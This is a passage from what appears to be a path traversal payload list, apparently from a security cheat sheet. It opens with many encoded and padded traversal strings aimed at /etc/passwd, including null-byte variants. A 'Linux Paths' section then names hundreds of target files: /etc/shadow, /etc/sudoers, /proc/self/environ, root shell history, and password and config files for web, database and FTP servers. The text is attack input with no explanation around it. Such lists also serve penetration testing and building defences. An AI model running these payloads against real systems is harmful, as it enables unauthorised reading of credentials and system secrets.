./\/././\/././\/././\/././\/././\/././\/.//etc/passwd
./\/././\/././\/././\/././\/././\/././\/././\/.//etc/passwd
.\/\.\/etc/passwd
.\/\.\.\/\.\/etc/passwd
.\/\.\.\/\.\.\/\.\/etc/passwd
.\/\.\.\/\.\.\/\.\.\/\.\/etc/passwd
.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\/etc/passwd
.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\/etc/passwd
.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\/etc/passwd
.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\/etc/passwd
././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././..//etc/passwd
././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../..//etc/passwd
././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../..//etc/passwd
././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../..//etc/passwd
././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../..//etc/passwd
././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../..//etc/passwd
././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../..//etc/passwd
././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../..//etc/passwd
.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\/etc/passwd
.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\/etc/passwd
.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\/etc/passwd
.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\/etc/passwd
.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\/etc/passwd
.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\/etc/passwd
.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\/etc/passwd
.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\..\/etc/passwd
./..//etc/passwd
./.././..//etc/passwd
./.././.././..//etc/passwd
./.././.././.././..//etc/passwd
./.././.././.././.././..//etc/passwd
./.././.././.././.././.././..//etc/passwd
./.././.././.././.././.././.././..//etc/passwd
./.././.././.././.././.././.././.././..//etc/passwd
.\..\/etc/passwd
.\..\.\..\/etc/passwd
.\..\.\..\.\..\/etc/passwd
.\..\.\..\.\..\.\..\/etc/passwd
.\..\.\..\.\..\.\..\.\..\/etc/passwd
.\..\.\..\.\..\.\..\.\..\.\..\/etc/passwd
.\..\.\..\.\..\.\..\.\..\.\..\.\..\/etc/passwd
.\..\.\..\.\..\.\..\.\..\.\..\.\..\.\..\/etc/passwd
.//..///etc/passwd
.//..//.//..///etc/passwd
.//..//.//..//.//..///etc/passwd
.//..//.//..//.//..//.//..///etc/passwd
.//..//.//..//.//..//.//..//.//..///etc/passwd
.//..//.//..//.//..//.//..//.//..//.//..///etc/passwd
.//..//.//..//.//..//.//..//.//..//.//..//.//..///etc/passwd
.//..//.//..//.//..//.//..//.//..//.//..//.//..//.//..///etc/passwd
.\\..\\/etc/passwd
.\\..\\.\\..\\/etc/passwd
.\\..\\.\\..\\.\\..\\/etc/passwd
.\\..\\.\\..\\.\\..\\.\\..\\/etc/passwd
.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\/etc/passwd
.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\/etc/passwd
.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\/etc/passwd
.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\/etc/passwd
%00../etc/passwd
%00../%00../etc/passwd
%00../%00../%00../etc/passwd
%00../%00../%00../%00../etc/passwd
%00../%00../%00../%00../%00../etc/passwd
%00../%00../%00../%00../%00../%00../etc/passwd
%00../%00../%00../%00../%00../%00../%00../etc/passwd
%00../%00../%00../%00../%00../%00../%00../%00../etc/passwd
.%00./etc/passwd
.%00./.%00./etc/passwd
.%00./.%00./.%00./etc/passwd
.%00./.%00./.%00./.%00./etc/passwd
.%00./.%00./.%00./.%00./.%00./etc/passwd
.%00./.%00./.%00./.%00./.%00./.%00./etc/passwd
.%00./.%00./.%00./.%00./.%00./.%00./.%00./etc/passwd
.%00./.%00./.%00./.%00./.%00./.%00./.%00./.%00./etc/passwd
..%00/etc/passwd
..%00/..%00/etc/passwd
..%00/..%00/..%00/etc/passwd
..%00/..%00/..%00/..%00/etc/passwd
..%00/..%00/..%00/..%00/..%00/etc/passwd
..%00/..%00/..%00/..%00/..%00/..%00/etc/passwd
..%00/..%00/..%00/..%00/..%00/..%00/..%00/etc/passwd
..%00/..%00/..%00/..%00/..%00/..%00/..%00/..%00/etc/passwd
```

### Linux Paths

```
/apache/conf/httpd.conf
/apache/logs/access.log
/apache/logs/error.log
/apache/php/php.ini
/apache2/logs/access.log
/apache2/logs/error.log
/bin/php.ini
/etc/adduser.conf
/etc/alias
/etc/apache/access.conf
/etc/apache/apache.conf
/etc/apache/conf/httpd.conf
/etc/apache/default-server.conf
/etc/apache/httpd.conf
/etc/apache2/apache.conf
/etc/apache2/apache2.conf
/etc/apache2/conf.d/charset
/etc/apache2/conf.d/phpmyadmin.conf
/etc/apache2/conf.d/security
/etc/apache2/conf/httpd.conf
/etc/apache2/default-server.conf
/etc/apache2/envvars
/etc/apache2/httpd.conf
/etc/apache2/httpd2.conf
/etc/apache2/mods-available/autoindex.conf
/etc/apache2/mods-available/deflate.conf
/etc/apache2/mods-available/dir.conf
/etc/apache2/mods-available/mem_cache.conf
/etc/apache2/mods-available/mime.conf
/etc/apache2/mods-available/proxy.conf
/etc/apache2/mods-available/setenvif.conf
/etc/apache2/mods-available/ssl.conf
/etc/apache2/mods-enabled/alias.conf
/etc/apache2/mods-enabled/deflate.conf
/etc/apache2/mods-enabled/dir.conf
/etc/apache2/mods-enabled/mime.conf
/etc/apache2/mods-enabled/negotiation.conf
/etc/apache2/mods-enabled/php5.conf
/etc/apache2/mods-enabled/status.conf
/etc/apache2/ports.conf
/etc/apache2/sites-available/default
/etc/apache2/sites-available/default-ssl
/etc/apache2/sites-enabled/000-default
/etc/apache2/sites-enabled/default
/etc/apache2/ssl-global.conf
/etc/apache2/vhosts.d/00_default_vhost.conf
/etc/apache2/vhosts.d/default_vhost.include
/etc/apache22/conf/httpd.conf
/etc/apache22/httpd.conf
/etc/apt/apt.conf
/etc/avahi/avahi-daemon.conf
/etc/bash.bashrc
/etc/bash_completion.d/debconf
/etc/bluetooth/input.conf
/etc/bluetooth/main.conf
/etc/bluetooth/network.conf
/etc/bluetooth/rfcomm.conf
/etc/ca-certificates.conf
/etc/ca-certificates.conf.dpkg-old
/etc/casper.conf
/etc/chkrootkit.conf
/etc/chrootUsers
/etc/clamav/clamd.conf
/etc/clamav/freshclam.conf
/etc/crontab
/etc/crypttab
/etc/cups/acroread.conf
/etc/cups/cupsd.conf
/etc/cups/cupsd.conf.default
/etc/cups/pdftops.conf
/etc/cups/printers.conf
/etc/cvs-cron.conf
/etc/cvs-pserver.conf
/etc/debconf.conf
/etc/debian_version
/etc/default/grub
/etc/deluser.conf
/etc/dhcp/dhclient.conf
/etc/dhcp3/dhclient.conf
/etc/dhcp3/dhcpd.conf
/etc/dns2tcpd.conf
/etc/e2fsck.conf
/etc/esound/esd.conf
/etc/etter.conf
/etc/exports
/etc/fedora-release
/etc/firewall.rules
/etc/foremost.conf
/etc/fstab
/etc/ftpchroot
/etc/ftphosts
/etc/ftpusers
/etc/fuse.conf
/etc/group
/etc/group-
/etc/hdparm.conf
/etc/host.conf
/etc/hostname
/etc/hosts
/etc/hosts.allow
/etc/hosts.deny
/etc/http/conf/httpd.conf
/etc/http/httpd.conf
/etc/httpd.conf
/etc/httpd/apache.conf
/etc/httpd/apache2.conf
/etc/httpd/conf
/etc/httpd/conf.d
/etc/httpd/conf.d/php.conf
/etc/httpd/conf.d/squirrelmail.conf
/etc/httpd/conf/apache.conf
/etc/httpd/conf/apache2.conf
/etc/httpd/conf/httpd.conf
/etc/httpd/extra/httpd-ssl.conf
/etc/httpd/httpd.conf
/etc/httpd/logs/access.log
/etc/httpd/logs/access_log
/etc/httpd/logs/error.log
/etc/httpd/logs/error_log
/etc/httpd/mod_php.conf
/etc/httpd/php.ini
/etc/inetd.conf
/etc/init.d
/etc/inittab
/etc/ipfw.conf
/etc/ipfw.rules
/etc/issue
/etc/issue.net
/etc/kbd/config
/etc/kernel-img.conf
/etc/kernel-pkg.conf
/etc/ld.so.conf
/etc/ldap/ldap.conf
/etc/lighttpd/lighthttpd.conf
/etc/login.defs
/etc/logrotate.conf
/etc/logrotate.d/ftp
/etc/logrotate.d/proftpd
/etc/logrotate.d/vsftpd.log
/etc/ltrace.conf
/etc/mail/sendmail.conf
/etc/mandrake-release
/etc/manpath.config
/etc/miredo.conf
/etc/miredo/miredo.conf
/etc/miredo/miredo-server.conf
/etc/miredo-server.conf
/etc/modprobe.d/vmware-tools.conf
/etc/modules
/etc/mono/1.0/machine.config
/etc/mono/2.0/machine.config
/etc/mono/2.0/web.config
/etc/mono/config
/etc/motd
/etc/mtab
/etc/mtools.conf
/etc/muddleftpd.com
/etc/muddleftpd/muddleftpd.conf
/etc/muddleftpd/muddleftpd.passwd
/etc/muddleftpd/mudlog
/etc/muddleftpd/mudlogd.conf
/etc/muddleftpd/passwd
/etc/my.cnf
/etc/mysql/conf.d/old_passwords.cnf
/etc/mysql/my.cnf
/etc/networks
/etc/newsyslog.conf
/etc/nginx/nginx.conf
/etc/openldap/ldap.conf
/etc/os-release
/etc/osxhttpd/osxhttpd.conf
/etc/pam.conf
/etc/pam.d/proftpd
/etc/passwd
/etc/passwd-
/etc/passwd~
/etc/password.master
/etc/php.ini
/etc/php/apache/php.ini
/etc/php/apache2/php.ini
/etc/php/cgi/php.ini
/etc/php/php.ini
/etc/php/php4/php.ini
/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
/etc/php4/cgi/php.ini
/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
/etc/php5/cgi/php.ini
/etc/phpmyadmin/config.inc.php
/etc/postgresql/pg_hba.conf
/etc/postgresql/postgresql.conf
/etc/profile
/etc/proftp.conf
/etc/proftpd/modules.conf
/etc/protpd/proftpd.conf
/etc/pulse/client.conf
/etc/pure-ftpd.conf
/etc/pureftpd.passwd
/etc/pureftpd.pdb
/etc/pure-ftpd/pure-ftpd.conf
/etc/pure-ftpd/pureftpd.pdb
/etc/pure-ftpd/pure-ftpd.pdb
/etc/rc.conf
/etc/rc.d/rc.httpd
/etc/redhat-release
/etc/resolv.conf
/etc/resolvconf/update-libc.d/sendmail
/etc/samba/dhcp.conf
/etc/samba/netlogon
/etc/samba/private/smbpasswd
/etc/samba/samba.conf
/etc/samba/smb.conf
/etc/samba/smb.conf.user
/etc/samba/smbpasswd
/etc/samba/smbusers
/etc/security/access.conf
/etc/security/environ
/etc/security/failedlogin
/etc/security/group
/etc/security/group.conf
/etc/security/lastlog
/etc/security/limits
/etc/security/limits.conf
/etc/security/namespace.conf
/etc/security/opasswd
/etc/security/pam_env.conf
/etc/security/passwd
/etc/security/sepermit.conf
/etc/security/time.conf
/etc/security/user
/etc/sensors.conf
/etc/sensors3.conf
/etc/shadow
/etc/shadow-
/etc/shadow~
/etc/slackware-release
/etc/smb.conf
/etc/smbpasswd
/etc/smi.conf
/etc/squirrelmail/apache.conf
/etc/squirrelmail/config.php
/etc/squirrelmail/config/config.php
/etc/squirrelmail/config_default.php
/etc/squirrelmail/config_local.php
/etc/squirrelmail/default_pref
/etc/squirrelmail/filters_setup.php
/etc/squirrelmail/index.php
/etc/squirrelmail/sqspell_config.php
/etc/ssh/sshd_config
/etc/sso/sso_config.ini
/etc/stunnel/stunnel.conf
/etc/subversion/config
/etc/sudoers
/etc/SUSE-release
/etc/sw-cp-server/applications.d/00-sso-cpserver.conf
/etc/sw-cp-server/applications.d/plesk.conf
/etc/sysconfig/network-scripts/ifcfg-eth0
/etc/sysctl.conf
/etc/sysctl.d/10-console-messages.conf
/etc/sysctl.d/10-network-security.conf
/etc/sysctl.d/10-process-security.conf
/etc/sysctl.d/wine.sysctl.conf
/etc/syslog.conf
/etc/timezone
/etc/tinyproxy/tinyproxy.conf
/etc/tor/tor-tsocks.conf
/etc/tsocks.conf
/etc/updatedb.conf
/etc/updatedb.conf.BeforeVMwareToolsInstall
/etc/utmp
/etc/vhcs2/proftpd/proftpd.conf
/etc/vmware-tools/config
/etc/vmware-tools/tpvmlp.conf
/etc/vmware-tools/vmware-tools-libraries.conf
/etc/vsftpd.chroot_list
/etc/vsftpd.conf
/etc/vsftpd/vsftpd.conf
/etc/webmin/miniserv.conf
/etc/webmin/miniserv.users
/etc/wicd/dhclient.conf.template.default
/etc/wicd/manager-settings.conf
/etc/wicd/wired-settings.conf
/etc/wicd/wireless-settings.conf
/etc/wu-ftpd/ftpaccess
/etc/wu-ftpd/ftphosts
/etc/wu-ftpd/ftpusers
/etc/X11/xorg.conf
/etc/X11/xorg.conf.BeforeVMwareToolsInstall
/etc/X11/xorg.conf.orig
/etc/X11/xorg.conf-vesa
/etc/X11/xorg.conf-vmware
/home/bin/stable/apache/php.ini
/home/postgres/data/pg_hba.conf
/home/postgres/data/pg_ident.conf
/home/postgres/data/PG_VERSION
/home/postgres/data/postgresql.conf
/home/user/lighttpd/lighttpd.conf
/home2/bin/stable/apache/php.ini
/http/httpd.conf
/Library/WebServer/Documents/.htaccess
/Library/WebServer/Documents/default.htm
/Library/WebServer/Documents/default.html
/Library/WebServer/Documents/default.php
/Library/WebServer/Documents/index.htm
/Library/WebServer/Documents/index.html
/Library/WebServer/Documents/index.php
/logs/access.log
/logs/access_log
/logs/error.log
/logs/error_log
/logs/pure-ftpd.log
/logs/security_debug_log
/logs/security_log
/mysql/bin/my.ini
/MySQL/data/{HOST}.err
/MySQL/data/mysql.err
/MySQL/data/mysql.log
/MySQL/data/mysql-bin.index
/MySQL/data/mysql-bin.log
/MySQL/my.cnf
/MySQL/my.ini
/NetServer/bin/stable/apache/php.ini
/opt/apache/apache.conf
/opt/apache/apache2.conf
/opt/apache/conf/apache.conf
/opt/apache/conf/apache2.conf
/opt/apache/conf/httpd.conf
/opt/apache2/apache.conf
/opt/apache2/apache2.conf
/opt/apache2/conf/apache.conf
/opt/apache2/conf/apache2.conf
/opt/apache2/conf/httpd.conf
/opt/apache22/conf/httpd.conf
/opt/httpd/apache.conf
/opt/httpd/apache2.conf
/opt/httpd/conf/apache.conf
/opt/httpd/conf/apache2.conf
/opt/lampp/etc/httpd.conf
/opt/lampp/logs/access.log
/opt/lampp/logs/access_log
/opt/lampp/logs/error.log
/opt/lampp/logs/error_log
/opt/lsws/conf/httpd_conf.xml
/opt/lsws/logs/access.log
/opt/lsws/logs/error.log
/opt/tomcat/conf/tomcat-users.xml
/opt/tomcat/logs/catalina.err
/opt/tomcat/logs/catalina.out
/opt/xampp/etc/php.ini
/opt/xampp/logs/access.log
/opt/xampp/logs/access_log
/opt/xampp/logs/error.log
/opt/xampp/logs/error_log
/php/php.ini
/php4/php.ini
/php5/php.ini
/PostgreSQL/log/pgadmin.log
/private/etc/httpd/apache.conf
/private/etc/httpd/apache2.conf
/private/etc/httpd/httpd.conf
/private/etc/httpd/httpd.conf.default
/private/etc/squirrelmail/config/config.php
/proc/cpuinfo
/proc/devices
/proc/meminfo
/proc/net/tcp
/proc/net/udp
/proc/self/cmdline
/proc/self/environ
/proc/self/fd/0
/proc/self/fd/1
/proc/self/fd/10
/proc/self/fd/11
/proc/self/fd/12
/proc/self/fd/13
/proc/self/fd/14
/proc/self/fd/15
/proc/self/fd/2
/proc/self/fd/3
/proc/self/fd/4
/proc/self/fd/5
/proc/self/fd/6
/proc/self/fd/7
/proc/self/fd/8
/proc/self/fd/9
/proc/self/mounts
/proc/self/stat
/proc/self/status
/proc/version
/root/.bash_config
/root/.bash_history
/root/.bash_logout
/root/.bashrc
/root/.ksh_history
/root/.Xauthority
/srv/www/htdos/squirrelmail/config/config.php
/System/Library/WebObjects/Adaptors/Apache2.2/apache.conf
/tmp/access.log
/usr/apache/conf/httpd.conf
/usr/apache2/conf/httpd.conf
/usr/etc/pure-ftpd.conf
/usr/home/user/lighttpd/lighttpd.conf
/usr/home/user/var/log/apache.log
/usr/home/user/var/log/lighttpd.error.log
/usr/internet/pgsql/data/pg_hba.conf
/usr/internet/pgsql/data/postmaster.log
/usr/lib/cron/log
/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/lib/security/mkuser.default
/usr/local/apache/apache.conf
/usr/local/apache/apache2.conf
/usr/local/apache/conf/access.conf
/usr/local/apache/conf/apache.conf
/usr/local/apache/conf/apache2.conf
/usr/local/apache/conf/httpd.conf
/usr/local/apache/conf/httpd.conf.default
/usr/local/apache/conf/modsec.conf
/usr/local/apache/conf/php.ini
/usr/local/apache/conf/vhosts.conf
/usr/local/apache/conf/vhosts-custom.conf
/usr/local/apache/httpd.conf
/usr/local/apache/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/audit_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/lighttpd.error.log
/usr/local/apache/logs/lighttpd.log
/usr/local/apache/logs/mod_jk.log
/usr/local/apache1.3/conf/httpd.conf
/usr/local/apache2/apache.conf
/usr/local/apache2/apache2.conf
/usr/local/apache2/conf/apache.conf
/usr/local/apache2/conf/apache2.conf
/usr/local/apache2/conf/extra/httpd-ssl.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/modsec.conf
/usr/local/apache2/conf/ssl.conf
/usr/local/apache2/conf/vhosts.conf
/usr/local/apache2/conf/vhosts-custom.conf
/usr/local/apache2/httpd.conf
/usr/local/apache2/logs/access.log
/usr/local/apache2/logs/access_log
/usr/local/apache2/logs/audit_log
/usr/local/apache2/logs/error.log
/usr/local/apache2/logs/error_log
/usr/local/apache2/logs/lighttpd.error.log
/usr/local/apache2/logs/lighttpd.log
/usr/local/apache22/conf/httpd.conf
/usr/local/apache22/httpd.conf
/usr/local/apps/apache/conf/httpd.conf
/usr/local/apps/apache2/conf/httpd.conf
/usr/local/apps/apache22/conf/httpd.conf
/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
/usr/local/etc/apache/conf/httpd.conf
/usr/local/etc/apache/httpd.conf
/usr/local/etc/apache/vhosts.conf
/usr/local/etc/apache2/conf/httpd.conf
/usr/local/etc/apache2/httpd.conf
/usr/local/etc/apache2/vhosts.conf
/usr/local/etc/apache22/conf/httpd.conf
/usr/local/etc/apache22/httpd.conf
/usr/local/etc/httpd/conf
/usr/local/etc/httpd/conf/httpd.conf
/usr/local/etc/lighttpd.conf
/usr/local/etc/lighttpd.conf.new
/usr/local/etc/nginx/nginx.conf
/usr/local/etc/php.ini
/usr/local/etc/pure-ftpd.conf
/usr/local/etc/pureftpd.pdb
/usr/local/etc/smb.conf
/usr/local/etc/webmin/miniserv.conf
/usr/local/etc/webmin/miniserv.users
/usr/local/httpd/conf/httpd.conf
/usr/local/jakarta/dist/tomcat/conf/context.xml
/usr/local/jakarta/dist/tomcat/conf/jakarta.conf
/usr/local/jakarta/dist/tomcat/conf/logging.properties
/usr/local/jakarta/dist/tomcat/conf/server.xml
/usr/local/jakarta/dist/tomcat/conf/workers.properties
/usr/local/jakarta/dist/tomcat/logs/mod_jk.log
/usr/local/jakarta/tomcat/conf/context.xml
/usr/local/jakarta/tomcat/conf/jakarta.conf
/usr/local/jakarta/tomcat/conf/logging.properties
/usr/local/jakarta/tomcat/conf/server.xml
/usr/local/jakarta/tomcat/conf/workers.properties
/usr/local/jakarta/tomcat/logs/catalina.err
/usr/local/jakarta/tomcat/logs/catalina.out
/usr/local/jakarta/tomcat/logs/mod_jk.log
/usr/local/lib/php.ini
/usr/local/lighttpd/conf/lighttpd.conf
/usr/local/lighttpd/log/access.log
/usr/local/lighttpd/log/lighttpd.error.log
/usr/local/logs/access.log
/usr/local/logs/samba.log
/usr/local/lsws/conf/httpd_conf.xml
/usr/local/lsws/logs/error.log
/usr/local/mysql/data/{HOST}.err
/usr/local/mysql/data/mysql.err
/usr/local/mysql/data/mysql.log
/usr/local/mysql/data/mysql-bin.index
/usr/local/mysql/data/mysql-bin.log
/usr/local/mysql/data/mysqlderror.log
/usr/local/mysql/data/mysql-slow.log
/usr/local/nginx/conf/nginx.conf
/usr/local/pgsql/bin/pg_passwd
/usr/local/pgsql/data/passwd
/usr/local/pgsql/data/pg_hba.conf
/usr/local/pgsql/data/pg_log
/usr/local/pgsql/data/postgresql.conf
/usr/local/pgsql/data/postgresql.log
/usr/local/php/apache.conf
/usr/local/php/apache.conf.php
/usr/local/php/apache2.conf
/usr/local/php/apache2.conf.php
/usr/local/php/httpd.conf
/usr/local/php/httpd.conf.php
/usr/local/php/lib/php.ini
/usr/local/php4/apache.conf
/usr/local/php4/apache.conf.php
/usr/local/php4/apache2.conf
/usr/local/php4/apache2.conf.php
/usr/local/php4/httpd.conf
/usr/local/php4/httpd.conf.php
/usr/local/php4/lib/php.ini
/usr/local/php5/apache.conf
/usr/local/php5/apache.conf.php
/usr/local/php5/apache2.conf
/usr/local/php5/apache2.conf.php
/usr/local/php5/httpd.conf
/usr/local/php5/httpd.conf.php
/usr/local/php5/lib/php.ini
/usr/local/psa/admin/conf/php.ini
/usr/local/psa/admin/conf/site_isolation_settings.ini
/usr/local/psa/admin/htdocs/domains/databases/phpMyAdmin/libraries/config.default.php
/usr/local/psa/admin/logs/httpsd_access_log
/usr/local/psa/admin/logs/panel.log
/usr/local/pureftpd/etc/pure-ftpd.conf
/usr/local/pureftpd/etc/pureftpd.pdb
/usr/local/pureftpd/sbin/pure-config.pl
/usr/local/samba/lib/log.user
/usr/local/samba/lib/smb.conf.user
/usr/local/sb/config
/usr/local/squirrelmail/www/README
/usr/local/Zend/etc/php.ini
/usr/local/zeus/web/global.cfg
/usr/local/zeus/web/log/errors
/usr/pkg/etc/httpd/httpd.conf
/usr/pkg/etc/httpd/httpd-default.conf
/usr/pkg/etc/httpd/httpd-vhosts.conf
/usr/pkgsrc/net/pureftpd/pure-ftpd.conf
/usr/pkgsrc/net/pureftpd/pureftpd.passwd
/usr/pkgsrc/net/pureftpd/pureftpd.pdb
/usr/ports/contrib/pure-ftpd/pure-ftpd.conf
/usr/ports/contrib/pure-ftpd/pureftpd.passwd
/usr/ports/contrib/pure-ftpd/pureftpd.pdb
/usr/ports/ftp/pure-ftpd/pure-ftpd.conf
/usr/ports/ftp/pure-ftpd/pureftpd.passwd
/usr/ports/ftp/pure-ftpd/pureftpd.pdb
/usr/ports/net/pure-ftpd/pure-ftpd.conf
/usr/ports/net/pure-ftpd/pureftpd.passwd
/usr/ports/net/pure-ftpd/pureftpd.pdb
/usr/sbin/mudlogd
/usr/sbin/mudpasswd
/usr/sbin/pure-config.pl
/usr/share/adduser/adduser.conf
/usr/share/logs/catalina.err
/usr/share/logs/catalina.out
/usr/share/squirrelmail/config/config.php
/usr/share/squirrelmail/plugins/squirrel_logger/setup.php
/usr/share/tomcat/logs/catalina.err
/usr/share/tomcat/logs/catalina.out
/usr/share/tomcat6/conf/context.xml
/usr/share/tomcat6/conf/logging.properties
/usr/share/tomcat6/conf/server.xml
/usr/share/tomcat6/conf/workers.properties
/usr/share/tomcat6/logs/catalina.err
/usr/share/tomcat6/logs/catalina.out
/usr/spool/lp/log
/usr/spool/mqueue/syslog
/var/adm/acct/sum/loginlog
/var/adm/aculog
/var/adm/aculogs
/var/adm/crash/unix
/var/adm/crash/vmcore
/var/adm/cron/log
/var/adm/dtmp
/var/adm/lastlog/username
/var/adm/log/asppp.log
/var/adm/log/xferlog
/var/adm/loginlog
/var/adm/lp/lpd-errs
/var/adm/messages
/var/adm/pacct
/var/adm/qacct
/var/adm/ras/bootlog
/var/adm/ras/errlog
/var/adm/sulog
/var/adm/SYSLOG
/var/adm/utmp
/var/adm/utmpx
/var/adm/vold.log
/var/adm/wtmp
/var/adm/wtmpx
/var/adm/X0msgs
/var/apache/conf/httpd.conf
/var/cpanel/cpanel.config
/var/cpanel/tomcat.options
/var/cron/log
/var/data/mysql-bin.index
/var/lib/mysql/my.cnf
/var/lib/pgsql/data/postgresql.conf
/var/lib/squirrelmail/prefs/squirrelmail.log
/var/lighttpd.log
/var/local/www/conf/php.ini
/var/log/access.log
/var/log/access_log
/var/log/apache/access.log
/var/log/apache/access_log
